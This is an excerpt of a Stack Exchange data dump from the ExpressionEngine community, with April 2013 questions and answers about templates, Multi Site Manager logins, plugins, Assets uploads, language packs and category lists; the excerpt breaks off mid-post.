  <row Id="9173" PostTypeId="2" ParentId="9166" CreationDate="2013-04-10T06:29:29.297" Score="1" Body="&lt;p&gt;First, for new entries the get_post(entry_id) probably isn't set (check and verify it before running your query). Second, the view loader &lt;strong&gt;extracts&lt;/strong&gt; the vars array passed to it, and your array doesn't have keys. instead of passing $channelImages array, try passing it inside an array, something like array('chanimg' =&gt; $chanimg)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See example below, and the part &quot;adding dynamic data to the view&quot;&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/general/views.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/general/views.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;  'chanimg' =&amp;gt; array()&#xA;);&#xA;&#xA;$entry_id = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('entry_id');&#xA;if ($entry_id &amp;gt; 0){&#xA;    // query&#xA;    // $data['chanimg'][] = $row;&#xA;}&#xA;&#xA;return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('index', $data, TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-10T06:29:29.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9174" PostTypeId="2" ParentId="9135" CreationDate="2013-04-10T07:20:47.930" Score="0" Body="&lt;p&gt;It's unclear whether you want to store credit cards and charge them later, or just initiate a charge and complete it at a later date (usually once you have shipped the items). This is known as separate authorize/capture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store doesn't support storing credit cards, but it does support authorize/capture, you just need to enable it under general settings.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-10T07:20:47.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9175" PostTypeId="2" ParentId="5035" CreationDate="2013-04-10T08:16:21.373" Score="2" Body="&lt;p&gt;Assets 2.1 is out and for me it works like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:assets:folders parent_folder=&quot;{filedir_}&quot;}&#xA;        &amp;lt;li&amp;gt;{folder_name}&amp;lt;/a&amp;gt;&#xA;            {if total_subfolders}&#xA;                &amp;lt;ul&amp;gt;&#xA;                    {subfolders}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;ul&amp;gt;&#xA;                {exp:assets:files folder_id=&quot;{folder_id}&quot;}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if} ({size})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:assets:files}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:assets:folders}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="980" LastActivityDate="2013-04-10T08:16:21.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9176" PostTypeId="2" ParentId="9165" CreationDate="2013-04-10T09:05:04.550" Score="0" Body="&lt;p&gt;If you edited a template FILE then it could be that the site is pulling the original template from the database. Have you synched your templates?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-10T09:05:04.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9177" PostTypeId="2" ParentId="9165" CreationDate="2013-04-10T10:20:47.697" Score="0" Body="&lt;p&gt;There is no template assignment as such if you're not using the Pages module (as you mentioned). EE follows a &lt;strong&gt;*template_group/template*&lt;/strong&gt; pattern for Channel Entries so if you want to change a specific template to accomodate a design change you need to give it the same name as the existing one (in this case &lt;strong&gt;&lt;em&gt;index&lt;/em&gt;&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backup the old one and rename it to &lt;strong&gt;*index_old*&lt;/strong&gt; or something along those lines, then call your new one &lt;strong&gt;&lt;em&gt;index&lt;/em&gt;&lt;/strong&gt;. If it's a Channel Entry then the changes will be applied automatically as it picks up the template based on the URLs.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-10T10:20:47.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9178" PostTypeId="1" AcceptedAnswerId="9181" CreationDate="2013-04-10T10:56:24.137" Score="3" ViewCount="84" Body="&lt;p&gt;I have a Multi Site Manager set up running 6 sites from a single EE installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to troubleshoot a problem on one of the sites and have turned on template debugging but it doesn't get shown. From past experience I have recalled that this is because the &quot;sub-site&quot; doesn't recognise me as being logged in as a Super Admin - even though I am logged in to the &quot;master&quot; site as a Super Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the other sites to acknowledge that I am logged in to the CP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, from memory I think I previously managed this by dropping an admin.php file into the sub-site's directory structure and logging in from that site instead of the main one. Not had time to try this again but I wondered if there was a &quot;proper&quot; way to do it?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-10T11:55:21.457" Title="How can I get a site running under MSM (not the 'default_site') to recognise that I'm logged in?" Tags="|multi-site-manager|login|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9179" PostTypeId="1" AcceptedAnswerId="9212" CreationDate="2013-04-10T11:18:59.003" Score="4" ViewCount="341" Body="&lt;p&gt;I know it's possible to add parameters to a youtube url and these will load different settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this parameter &lt;strong&gt;?rel=0&lt;/strong&gt; indicates whether the player should show related videos when playback of the initial video ends.&#xA;&lt;a href=&quot;https://developers.google.com/youtube/player_parameters#rel&quot; rel=&quot;noreferrer&quot;&gt;https://developers.google.com/youtube/player_parameters#rel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a video in DevDemon Channel Videos and pass the parameter &lt;strong&gt;?rel=0&lt;/strong&gt; it doesn't show any result(the related videos still show up). Does anyone know how to pass the parameters the right way?&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-04-10T23:34:01.017" Title="How do I add player parameters to a video using DevDemons Channel Videos" Tags="|video|channel-videos|devdemon|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostTypeId="1" CreationDate="2013-04-10T11:47:36.260" Score="2" ViewCount="180" Body="&lt;p&gt;I have created an EE2 plugin under third_party folder and it succesfully shows up in Plugins list @ backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, is it possible to create an instance of that plugin class directly from a template as I don't need any template tag behaviour? Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$cart = new Cart;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as the plugin would have the following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;$plugin_info = array();&#xA;&#xA;/**&#xA; * Cart Class&#xA; * ...&#xA; */&#xA;&#xA;class Cart {&#xA;&#xA;    var $return_data;&#xA;    function Cart() {&#xA;    }&#xA;&#xA;    ...&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR, is there a better way in achieving this preserving the possibility to use tags later on? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1314" LastEditorUserId="28" LastEditDate="2013-04-10T11:56:09.833" LastActivityDate="2014-07-02T02:22:08.890" Title="Creating an instance of Expression Engine 2 plugin class from template" Tags="|add-on|add-on-development|plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9181" PostTypeId="2" ParentId="9178" CreationDate="2013-04-10T11:55:21.457" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/domainsetup.html#step-3&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Step 3 of the MSM docs&lt;/strong&gt;&lt;/a&gt; indicate that this is done by adding the admin.php to the web root for the site.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Open domain2’s new admin.php file (this is the file that allows&#xA;  Control Panel access on the new site) and make the following changes:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tip: In some multi-site situations, you may not want to allow Control&#xA;  Panel access from anyhere other than domain1. This file can be removed&#xA;  in those cases.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Update the $system_path variable to indicate the path from this file&#xA;  to your installation’s system folder. Typically this can be a relative&#xA;  path, but some servers may require a full, absolute path. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../domain1.com/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-10T11:55:21.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9182" PostTypeId="2" ParentId="7090" CreationDate="2013-04-10T12:17:30.707" Score="1" Body="&lt;p&gt;It's possible you need to adjust additional php settings to get the large files to upload. These are the suggested &lt;a href=&quot;http://www.radinks.com/upload/config.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;settings to adjust for large file uploads&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize&#xA;max_input_time&#xA;memory_limit&#xA;max_execution_time&#xA;post_max_size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-10T12:17:30.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9183" PostTypeId="2" ParentId="9165" CreationDate="2013-04-10T12:19:21.963" Score="0" Body="&lt;p&gt;I still haven't read whether or not you've used the Pages module and whether it's succeeded or failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is almost the definition of the purpose for the Pages module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please confirm that applying this template to this channel entry does or does not work via the Pages interface of the channel entry. &lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2013-04-10T12:19:21.963" CommentCount="1" CommunityOwnedDate="2013-04-10T12:19:21.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="9184" PostTypeId="2" ParentId="9165" CreationDate="2013-04-10T12:21:32.037" Score="2" Body="&lt;p&gt;EE doesn't generally follow the conventions of some other CMS's like WordPress where each post can have a specific template assigned to it via the entry screen. Templates are assigned in EE via their URLs, because (&lt;a href=&quot;https://expressionengine.stackexchange.com/a/9177/55&quot;&gt;as Ian mentions&lt;/a&gt;), URLs in EE follow a &lt;strong&gt;template_group/template/entry&lt;/strong&gt; pattern. So generally, you'd change the display of an entry by linking to it using a different &lt;em&gt;template&lt;/em&gt; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The &lt;strong&gt;Template&lt;/strong&gt; field you show in the screenshot appears to be the template option for entries which use the Pages module, which is one exception where you &lt;em&gt;can&lt;/em&gt; assign a template per-entry.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could add a new custom field to your channel, called, say, &lt;strong&gt;Entry Template&lt;/strong&gt; (&lt;code&gt;arch_entry_template&lt;/code&gt;), and give it two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Standard&lt;/li&gt;&#xA;&lt;li&gt;Graduate Program&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Choose &quot;Graduate Program&quot; for your one-off entry, then save. (No need to save the others as &quot;Standard&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;academics/index&lt;/strong&gt; template, within the Channel Entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if arch_entry_template == 'Graduate Program'}&#xA;&#xA;    Your new template code goes here&#xA;&#xA;{if:else}&#xA;&#xA;    The old template code goes here.&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-04-10T12:21:32.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9186" PostTypeId="2" ParentId="9179" CreationDate="2013-04-10T13:04:53.940" Score="4" Body="&lt;p&gt;I've analysed the source code of Channel Videos and saw that there was a template tag parameter available named &lt;strong&gt;youtube:url_params&lt;/strong&gt; that does add the parameters to the video but again added the questionmark at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rewrote/hacked the code to provide a solution that if there are parameters in the direct URL they will be placed correctly without question mark. And if there are parameters in the template tag &lt;strong&gt;youtube:url_params&lt;/strong&gt; they will be placed correctly with a question mark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; mod.channel_videos.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Line&lt;/strong&gt; 203&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Added a fix for placing a questionmark after a direct link with params&#xA;$extra_params = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('youtube:url_params', '');&#xA;$extra_params = !empty($extra_params) ? '?'.$extra_params : '' ; &#xA;$vars[$prefix.'web_url'] = 'http://www.youtube.com/watch?v=' . $vid-&amp;gt;service_video_id;&#xA;$vars[$prefix.'embed_code'] = &quot;&amp;lt;iframe width='{$embed_width}' height='{$embed_height}' src='http://www.youtube.com/embed/{$vid-&amp;gt;service_video_id}{$extra_params}' frameborder='0' allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Fix still needed...&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: The fix provided above doesn't solve the problem because it's based on the service_video_id that is extracted out off the URL in the get_video() method. When I've completed the fix I'll update it. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="171" LastEditorUserId="171" LastEditDate="2013-04-10T14:34:37.350" LastActivityDate="2013-04-10T14:34:37.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9187" PostTypeId="1" AcceptedAnswerId="9190" CreationDate="2013-04-10T14:07:16.880" Score="1" ViewCount="109" Body="&lt;p&gt;I am looking for a starter kit just like the one of starterfiles.com. This domain name is not longer in use and doesn't provide the download file anymore. Is there any, not named EE, that why I can't find it, github project that provides a template starter kit for ExpressionEngine 2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerDisplayName="user1292" LastActivityDate="2013-04-10T15:27:02.760" Title="Template Starter Files" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9188" PostTypeId="1" CreationDate="2013-04-10T14:56:54.200" Score="1" ViewCount="212" Body="&lt;p&gt;I seem to be getting the same error &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7259/matrix-user-global-variables-in-basic-text-input-breaking-in-simple-if-conditio&quot;&gt;as in this post&lt;/a&gt;, but in my case the problematic part of my condition is a plus symbol, which is pretty absurd!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{caption}' != ''}data-caption=&quot;#caption-{row_id}&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, if the caption includes a plus, it will result in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in /Users/danielhowells/Sites/Calvert/www.calvertadmin.com/web/content/expressionengine/libraries/Functions.php(683) : eval()'d code on line 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a bit embarrassing explaining to my client that they can't use + in their captions. :-)&lt;/p&gt;&#xA;" OwnerUserId="1315" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-05-16T20:25:22.900" Title="Matrix, plus symbol in text input breaking in simple if conditional" Tags="|matrix|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9189" PostTypeId="2" ParentId="9171" CreationDate="2013-04-10T15:13:00.407" Score="1" Body="&lt;p&gt;Adding this as an official answer. The question was related to Low Search version 2.1.2. Upgrading to the latest version (currently 2.3.0) solved this issue.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-10T15:13:00.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9190" PostTypeId="2" ParentId="9187" CreationDate="2013-04-10T15:27:02.760" Score="1" Body="&lt;p&gt;It's on the waybackmachine &lt;a href=&quot;http://web.archive.org/web/20110901211254/http://starterfiles.com/download&quot; rel=&quot;nofollow&quot;&gt;http://web.archive.org/web/20110901211254/http://starterfiles.com/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it says the download is now on github&#xA;&lt;a href=&quot;https://github.com/Jenn/ExpressionEngine-2-Starter-Files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Jenn/ExpressionEngine-2-Starter-Files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, ExpressionEngine comes with a test project, you can install, called Agile-records. You can install a fresh copy of EE with that, onto your development station and have a look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some free turorials are available on &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/free-tutorials&lt;/a&gt; . If you like the course, consider taking a online course or training.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-10T15:27:02.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9191" PostTypeId="1" CreationDate="2013-04-10T15:59:45.617" Score="5" ViewCount="263" Body="&lt;p&gt;When I upgraded to Assets 2, I noticed that when uploading a file from the modal window in a channel entry form that once the file is uploaded, Assets doesn't automatically select it for me anymore. I have to do a search for the filename. Is that the normal behavior for Assets 2? Or am I the only one experiencing this? And, if it's just me, is there any way to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a step-by-step list of the process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open either a new or existing channel entry form&lt;/li&gt;&#xA;&lt;li&gt;In the Assets field, click &lt;strong&gt;Add file&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the Assets modal window, click &lt;strong&gt;Upload files&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Locate file to upload from file system, then click &lt;strong&gt;OK&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The file uploads&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;this is what's not happening:&lt;/strong&gt; Assets automatically selects the just-uploaded file(s)&lt;/li&gt;&#xA;&lt;li&gt;Double-click on the newly-uploaded file to add it to the Assets field&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x3j2N.jpg&quot; alt=&quot;screenshot of what Assets isn&amp;#39;t doing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's a new/interesting discovery:&lt;/strong&gt; step 6 above &lt;strong&gt;does&lt;/strong&gt; happen when I use a computer that is not on my organization's official network. I'm wondering if it's blocking a Javascript or something like that??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently running Assets 2.1, was running Assets 2.0.5, on EE 2.5.2 issue happens in both versions for me.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;April 11, 2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of Javascript console errors&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OJylT.jpg&quot; alt=&quot;screen shot of javascript console errors&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Uncaught TypeError: Object... happened on page load, the Double-instantiating a select... happened (and I'm not really sure if it's an error or just logging) when Assets completes the file upload and selects the document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;- B&lt;/p&gt;&#xA;" OwnerUserId="1016" LastEditorUserId="1016" LastEditDate="2013-04-11T20:34:15.910" LastActivityDate="2014-08-20T21:38:54.030" Title="Assets 2 select file on upload" Tags="|assets|" AnswerCount="2" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="9193" PostTypeId="1" CreationDate="2013-04-10T16:26:24.800" Score="1" ViewCount="199" Body="&lt;p&gt;I'm currently finalizing the setup of a multi-lingual site and everything to this point has benefited from variables handling language-specific items, but I do have a Safecracker form in the site that automatically serves up general error messages when, for example, a field has been left blank when it's required.  I have the french language pack installed, but I'm somehow missing how I enable it so that when the site is being accessed via the french URL that the error messages served back by the Safecracker form also appear in French.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In index.php, I have the following (mirrored for english as well):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED CONFIG INFO BELOW&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case &quot;french.domain.com&quot;:&#xA;    $assign_to_config['site_url'] = 'https://french.domain.com';&#xA;    $assign_to_config['language'] = 'french';&#xA;    $assign_to_config['global_vars'] = array(&#xA;        &quot;user_language&quot; =&amp;gt; &quot;fr&quot;,&#xA;        &quot;user_locale&quot; =&amp;gt; &quot;en_US.UTF-8&quot;,&#xA;        &quot;user_locale_date_format&quot; =&amp;gt; &quot;%b %e %Y&quot;,&#xA;        &quot;user_locale_event_date_format&quot; =&amp;gt; &quot;%b %e %Y&quot;,&#xA;        &quot;swap_site_label&quot; =&amp;gt; &quot;English&quot;,&#xA;        &quot;swap_site_url&quot; =&amp;gt; &quot;https://english.cps.ca&quot;,&#xA;        &quot;country_code&quot; =&amp;gt; &quot;fr&quot;,&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just need a bit of help sorting out this final step.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-04-11T15:01:17.273" LastActivityDate="2013-04-11T15:07:38.477" Title="How do you set up a language pack to take effect on system messages?" Tags="|safecracker|multi-language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostTypeId="1" AcceptedAnswerId="9198" CreationDate="2013-04-10T16:34:24.643" Score="0" ViewCount="32" Body="&lt;p&gt;I have two channels: products and promos. I need to display either one or the other on my homepage. If I find a promo, I display that one and not the the product. If I don't find a promo, I display the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Stash installed. I'm thinking I try for the promo. If I find it, I set a Stash variable called promo_found to TRUE; otherwise its FALSE. Then I can test for promo_found == FALSE, and do the products channel:entries call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this work? (I don't have much/any experience with Stash.) Is there a better pattern to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-10T18:00:37.907" Title="Alternative channel:entries Depending on First Result Set" Tags="|channel-entries|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostTypeId="1" CreationDate="2013-04-10T17:09:09.127" Score="2" ViewCount="659" Body="&lt;p&gt;Is it possible to create a single alphabetically ordered list containing categories from &lt;em&gt;multiple&lt;/em&gt; category groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories category_group=&quot;1|2&quot;}&#xA;         &amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this separates the category groups, and I end up with a list such as this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;book &lt;/li&gt;&#xA;&lt;li&gt;graphic identity &lt;/li&gt;&#xA;&lt;li&gt;poster &lt;/li&gt;&#xA;&lt;li&gt;website&lt;/li&gt;&#xA;&lt;li&gt;architecture &lt;/li&gt;&#xA;&lt;li&gt;art &lt;/li&gt;&#xA;&lt;li&gt;David Bowie &lt;/li&gt;&#xA;&lt;li&gt;ExpressionEngine &lt;/li&gt;&#xA;&lt;li&gt;zoos&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll notice that it is actually two lists ordered alphabetically. I would like to merge these into one list somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect to be able to add something like &lt;code&gt;orderby=&lt;/code&gt; as in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;Channel Entries Tag&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories category_group=&quot;1|2&quot; orderby=&quot;name&quot;}&#xA;         &amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not work. Has anyone come across this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2013-04-10T18:09:40.427" Title="ExpressionEngine {exp:channel:categories}, categories from multiple category groups ordered together" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostTypeId="2" ParentId="9159" CreationDate="2013-04-10T17:13:14.027" Score="2" Body="&lt;p&gt;If you are not completely married to the idea of storing and syncing the remote images with an actual &lt;em&gt;EE&lt;/em&gt; upload directory, and using EE for all image size processing, then take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE Image can work with remote images, resizing them as needed (very customizable) and then storing a cached local copy on your server. It is a very well-documented and flexible add-on with a ton of features. It's my go-to for all image manipulation and judging by all the rave reviews it has I don't think I'm alone on that!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-04-10T17:13:14.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostTypeId="1" CreationDate="2013-04-10T17:44:01.543" Score="2" ViewCount="262" Body="&lt;p&gt;This is something I have had no experience with whatsoever, so I am hoping that someone can tell me whether it is possible or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site up and running, and I am looking at starting a section for people to find holiday properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information of these properties can be accessed via an XML feed of the details and a separate csv of the prices and photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data is presented like so in the XML..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tcreated&amp;gt;2013-04-09 22:30:26&amp;lt;/tcreated&amp;gt;&#xA;&amp;lt;cweblink&amp;gt;http://www.linhere&amp;lt;/cweblink&amp;gt;&#xA;&amp;lt;nid&amp;gt;55&amp;lt;/nid&amp;gt;&#xA;&amp;lt;nremoteid&amp;gt;0&amp;lt;/nremoteid&amp;gt;&#xA;&amp;lt;tupdated&amp;gt;2013-04-09&amp;lt;/tupdated&amp;gt;&#xA;&amp;lt;cpropname&amp;gt;Brazengate Family Cottage, Long Ashes, Threshfield, Yorkshire Dales (Ref 55)&amp;lt;/cpropname&amp;gt;&#xA;&amp;lt;ccountry&amp;gt;England&amp;lt;/ccountry&amp;gt;&#xA;&amp;lt;carea&amp;gt;Yorkshire Dales&amp;lt;/carea&amp;gt;&#xA;&amp;lt;csubarea&amp;gt;Yorkshire Dales - Wharfedale&amp;lt;/csubarea&amp;gt;&#xA;&amp;lt;short_name&amp;gt;Brazengate&amp;lt;/short_name&amp;gt;&#xA;&amp;lt;cvillagename&amp;gt;LONG ASHES, THRESHFIELD&amp;lt;/cvillagename&amp;gt;&#xA;&amp;lt;nlatitude&amp;gt;54.0789359001&amp;lt;/nlatitude&amp;gt;&#xA;&amp;lt;nlongitude&amp;gt;-2.0351578974&amp;lt;/nlongitude&amp;gt;&#xA;&amp;lt;cpriceinfo&amp;gt;All prices are inclusive of the booking fee.&amp;amp;lt;BR&amp;amp;gt;&amp;amp;lt;BR&amp;amp;gt;Winter Short Breaks (WSB) are available at many properties in the &quot;Winter&quot; period - subject to availability. Extra nights are charged pro rata of the weekly rental.&amp;amp;lt;BR&amp;amp;gt;&amp;amp;lt;BR&amp;amp;gt;Off Season Breaks (OSB) are available at many properties in parts of the &quot;Low&quot; and &quot;Mid&quot; periods - subject to availability. The price for a 3 night break is 